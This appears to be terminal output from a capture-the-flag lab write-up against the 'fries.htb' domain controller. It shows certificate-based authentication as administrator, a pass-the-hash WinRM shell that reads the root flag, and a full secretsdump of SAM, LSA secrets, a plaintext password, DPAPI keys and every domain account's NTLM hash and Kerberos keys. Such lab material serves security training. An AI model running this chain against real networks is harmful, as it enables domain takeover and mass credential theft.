Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@fries.htb'
[*]     SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Using principal: 'administrator@fries.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

❯ evil-winrm-py -u administrator -H a773cb05d79273299a684a23ede56748 -i fries.htb
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'fries.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
fries\administrator
evil-winrm-py PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
3ddf19192fab6715220da97a2eb739f9
evil-winrm-py PS C:\Users\Administrator\Documents>

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109

❯ impacket-secretsdump administrator@dc01.fries.htb -hashes :a773cb05d79273299a684a23ede56748
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x0eca5297326605c6a979bc701a8a3311
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
FRIES\DC01$:aes256-cts-hmac-sha1-96:527b23aa1d7843b4395fa230a2a82d8ff832ef3ce4d1c7353e07afbf7c0eaf9b
FRIES\DC01$:aes128-cts-hmac-sha1-96:d099bfdc66902ba48478afd138713802
FRIES\DC01$:des-cbc-md5:7acd8aba20548001
FRIES\DC01$:plain_password_hex:e86c16dfd5d02641d95cb0a586e02a7a27a8704c694704b1453cb8b846b2fef9fefa601283b2c486a3719525644ce338e43fd1d551e85064b65914e1fd9844769ceefccd915e4136686c9892e05958991e11ee56b8b3ff242da97394d875a509614923e0de6a3ec3f4e3b6fae7f7618e72b216c7d8964aa515178fc19988bf039b3f10202797d8e487e698e3d6a0384ac14256e077241f7001a43e53cc7c734d30c2e9a97a3db0a4ce7a949b76c292a1238589cc833f6a72575fe6a0c906ba69fa0bdb3d1dd2ff1e18b635b9178f0f9f2f7418cf94279b2eb10ee568ab3bb33e75adde59691cb9e6c5ad07b76f132075
FRIES\DC01$:aad3b435b51404eeaad3b435b51404ee:ba380858b63611eaadb906e8e5b55e3e:::
[*] DefaultPassword 
administrator:vEGXjJswOEpy0bWd
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x36661c4ae29c5cc6f14e04e11b9917141d0a25d2
dpapi_userkey:0x1a3b6b43a269d3f3861eafed3df2f372bbbdfea5
[*] NL$KM 
 0000   F7 74 4D 48 CE 91 CA C7  90 76 3C 18 BB CB 07 A1   .tMH.....v<.....
 0010   F9 1D AD 37 0B 79 00 CF  90 E4 03 F2 FA 76 3A 9D   ...7.y.......v:.
 0020   FD 07 9F 4B A3 F6 7D 8C  C7 B9 B9 16 12 BB 74 11   ...K..}.......t.
 0030   A0 6C D2 4E F5 8B 97 77  7C 86 F5 0A 85 78 60 80   .l.N...w|....x`.
NL$KM:f7744d48ce91cac790763c18bbcb07a1f91dad370b7900cf90e403f2fa763a9dfd079f4ba3f67d8cc7b9b91612bb7411a06cd24ef58b97777c86f50a85786080
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce86e3842ffc9a775d2a356c60eac9c3:::
fries.htb\w.earl:2613:aad3b435b51404eeaad3b435b51404ee:ee2e704309cf4a26a4686a9d56489bf4:::
fries.htb\d.cooper:2614:aad3b435b51404eeaad3b435b51404ee:50232f4444bc8fd6cfda4b3e1b715663:::
fries.htb\b.horne:2615:aad3b435b51404eeaad3b435b51404ee:9cead10842a333fa049d4bc65cc55865:::
fries.htb\b.briggs:2616:aad3b435b51404eeaad3b435b51404ee:cf1ec47b3cf4e869d5c8b7138c07bae4:::
fries.htb\s.johnson:2617:aad3b435b51404eeaad3b435b51404ee:6e34ce1188061a026b8fb680d4a0ec9e:::
fries.htb\j.hurley:2618:aad3b435b51404eeaad3b435b51404ee:e3fa3f2a91ee7f8451fd1d0338e65355:::
fries.htb\h.truman:2619:aad3b435b51404eeaad3b435b51404ee:f9ac987d61cb1cf5649f82bc52778c3e:::
fries.htb\d.lynch:2620:aad3b435b51404eeaad3b435b51404ee:327641bc7f835d4be5f7dd5e602e8df4:::
fries.htb\l.palmer:2621:aad3b435b51404eeaad3b435b51404ee:1d44c7eb22b8c76b072f83fb07a56af3:::
fries.htb\l.johnson:2622:aad3b435b51404eeaad3b435b51404ee:a191c320a175dbe32cba7c58ede45ec7:::
fries.htb\h.jennings:2623:aad3b435b51404eeaad3b435b51404ee:b36354d4de8b39c31e13c950e969fbab:::
fries.htb\svc_infra:3601:aad3b435b51404eeaad3b435b51404ee:3bf3a1986ea9ae5b54a5725847a2adcc:::
fries.htb\d.wilson:5601:aad3b435b51404eeaad3b435b51404ee:b97330f3044941930b3667fa9888d5e3:::
fries.htb\m.hannigan:5602:aad3b435b51404eeaad3b435b51404ee:e2c1ce7011b7564d594367b06ca2428c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:ba380858b63611eaadb906e8e5b55e3e:::
gMSA_CA_prod$:1104:aad3b435b51404eeaad3b435b51404ee:fc20b3d3ec179c5339ca59fbefc18f4a:::
FRIES.HTB\WEB$:4601:aad3b435b51404eeaad3b435b51404ee:61e3599900d7a81c373bcbaaa755bdb2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6d4a7749effdd00cdbb6370c3cbf3601711549ca661b4237092a8a9bbe388f45
Administrator:aes128-cts-hmac-sha1-96:990dfa267246b2a64b348bcd6d19ce96
Administrator:des-cbc-md5:a220b35b91791c5d
krbtgt:aes256-cts-hmac-sha1-96:8024081dbb5a45e076560c57225cdd92bf7483d264d97d0759a1b428a9169992
krbtgt:aes128-cts-hmac-sha1-96:47b9de65aa3fbd44e6b73de70735c46a
krbtgt:des-cbc-md5:8c9bdac2d9292683
fries.htb\w.earl:aes256-cts-hmac-sha1-96:8a5284e69f97b1208b2ed58684b6b71a8a879c537644e9e994905ae0aa189df6
fries.htb\w.earl:aes128-cts-hmac-sha1-96:de03f9891f0a7aebfa187f5eee1a5ebd
fries.htb\w.earl:des-cbc-md5:8aa1bcf76219a8f8
fries.htb\d.cooper:aes256-cts-hmac-sha1-96:783927c75e3ee32612281ada8aa7370827257d06fd992ee3f7e05f71846a0ce1
fries.htb\d.cooper:aes128-cts-hmac-sha1-96:ba1bcf1ac2e3875908c26c01cbd90c68
fries.htb\d.cooper:des-cbc-md5:2c61e6a2fec76e91
fries.htb\b.horne:aes256-cts-hmac-sha1-96:97199b4218cb3339a4caabd929522fd9198b72af621b75188351c8ba58567c31
fries.htb\b.horne:aes128-cts-hmac-sha1-96:3299025c40f36773177bd34290931ba8
fries.htb\b.horne:des-cbc-md5:d64686cd4ceafd85
fries.htb\b.briggs:aes256-cts-hmac-sha1-96:fdd89f03930a78eff18b7dc6afe911cfd0616998c93ae08c802ff3197c8cedf9
fries.htb\b.briggs:aes128-cts-hmac-sha1-96:8bf0d35acf2f668e6a7484b87edc5dd9
fries.htb\b.briggs:des-cbc-md5:02136db0c870199e
fries.htb\s.johnson:aes256-cts-hmac-sha1-96:473622daf28874b68824becdc8e778dc148017923f27130364ac2edd722e3762
fries.htb\s.johnson:aes128-cts-hmac-sha1-96:e7edc846c6884aa60516b4dbdebaf612
fries.htb\s.johnson:des-cbc-md5:f437a461d66e6498
fries.htb\j.hurley:aes256-cts-hmac-sha1-96:44c2feb99290eba8ded6ecb4c4ca4791017841a5195b0c78ba1e70261d51cfe3
fries.htb\j.hurley:aes128-cts-hmac-sha1-96:9c31539d83c1f979366946f36e50215d
fries.htb\j.hurley:des-cbc-md5:6dce49df023dc19e
fries.htb\h.truman:aes256-cts-hmac-sha1-96:c654622ad69644c197fa6d42ee2222cacbd9334d32ffe018af47018222a0db65
fries.htb\h.truman:aes128-cts-hmac-sha1-96:ba0d7f48f4aac22cd98eb038fbbee40a
fries.htb\h.truman:des-cbc-md5:232fc8b5cbe59e32
fries.htb\d.lynch:aes256-cts-hmac-sha1-96:15648c3700d55a91218ad3e0d927cff30788979664b61f50e58108d5ae6cb9ad
fries.htb\d.lynch:aes128-cts-hmac-sha1-96:6ee5c1669b833187052c1e9d650dc3ab
fries.htb\d.lynch:des-cbc-md5:1c3e6e135279ef9d
fries.htb\l.palmer:aes256-cts-hmac-sha1-96:23876aebc5deb55d80ace63683c0ed76a142af6537437759ec95524072819973
fries.htb\l.palmer:aes128-cts-hmac-sha1-96:e1b3b34d64a5dbcc28d366e6e1793be3
fries.htb\l.palmer:des-cbc-md5:da1fcbc28062d592
fries.htb\l.johnson:aes256-cts-hmac-sha1-96:a420111fe04f501c5bb85f87534f57b44c46b2963b79dff07e9e223ce3302536
fries.htb\l.johnson:aes128-cts-hmac-sha1-96:af8a2406b600b326d274b4e55f5bef82
fries.htb\l.johnson:des-cbc-md5:b6c2d3b33bb0a2ad
fries.htb\h.jennings:aes256-cts-hmac-sha1-96:acd573968fb3c6b0492cc378d4aaf18af35cd5d40050f90901bcb7637cd7a676
fries.htb\h.jennings:aes128-cts-hmac-sha1-96:11822fdb8e0ec44eb0cc71f154595edf
fries.htb\h.jennings:des-cbc-md5:ea6240fdf48f1557
fries.htb\svc_infra:aes256-cts-hmac-sha1-96:2773f10c584103fa5d67d23469a9a3ff040b01bcac846708b828fc9cbcb8de61
fries.htb\svc_infra:aes128-cts-hmac-sha1-96:a7ab3a2b66e4f2c4c0407824c1eaa99b
fries.htb\svc_infra:des-cbc-md5:0de651e6e99e899b
fries.htb\d.wilson:aes256-cts-hmac-sha1-96:346e2f4c8044dd7c3935d0489fbef78bb641869b6809c107654437005b461abc
fries.htb\d.wilson:aes128-cts-hmac-sha1-96:9c74335697b0f9ed784512f994b6e713
fries.htb\d.wilson:des-cbc-md5:ae4a6180c8a707e0
fries.htb\m.hannigan:aes256-cts-hmac-sha1-96:0c4fcbc63d883cd10753240528311d70aadb89f6cea9f0f1cd31af2f7d1e9ec9
fries.htb\m.hannigan:aes128-cts-hmac-sha1-96:b24a332ab365af90009123c6fe6073aa
fries.htb\m.hannigan:des-cbc-md5:d9b67f40161c1025
DC01$:aes256-cts-hmac-sha1-96:527b23aa1d7843b4395fa230a2a82d8ff832ef3ce4d1c7353e07afbf7c0eaf9b
DC01$:aes128-cts-hmac-sha1-96:d099bfdc66902ba48478afd138713802
DC01$:des-cbc-md5:5bceda290b927501
gMSA_CA_prod$:aes256-cts-hmac-sha1-96:ed5ace86edc26a17bac9a5c1b46e568d5d38bbeac6f9b01ed5051369fea5acd6
gMSA_CA_prod$:aes128-cts-hmac-sha1-96:1f0b4c16eb87c035ea73533779499822
gMSA_CA_prod$:des-cbc-md5:d013047c574a02a8
FRIES.HTB\WEB$:aes256-cts-hmac-sha1-96:c2f611ea95c0890050a5025a0421faa8efee4d525dfabbeb14c25d456a770989
FRIES.HTB\WEB$:aes128-cts-hmac-sha1-96:8a735f6c676faf8c27fef46fe7209a81
FRIES.HTB\WEB$:des-cbc-md5:80c88037f7a8c757
[*] Cleaning up... 
❯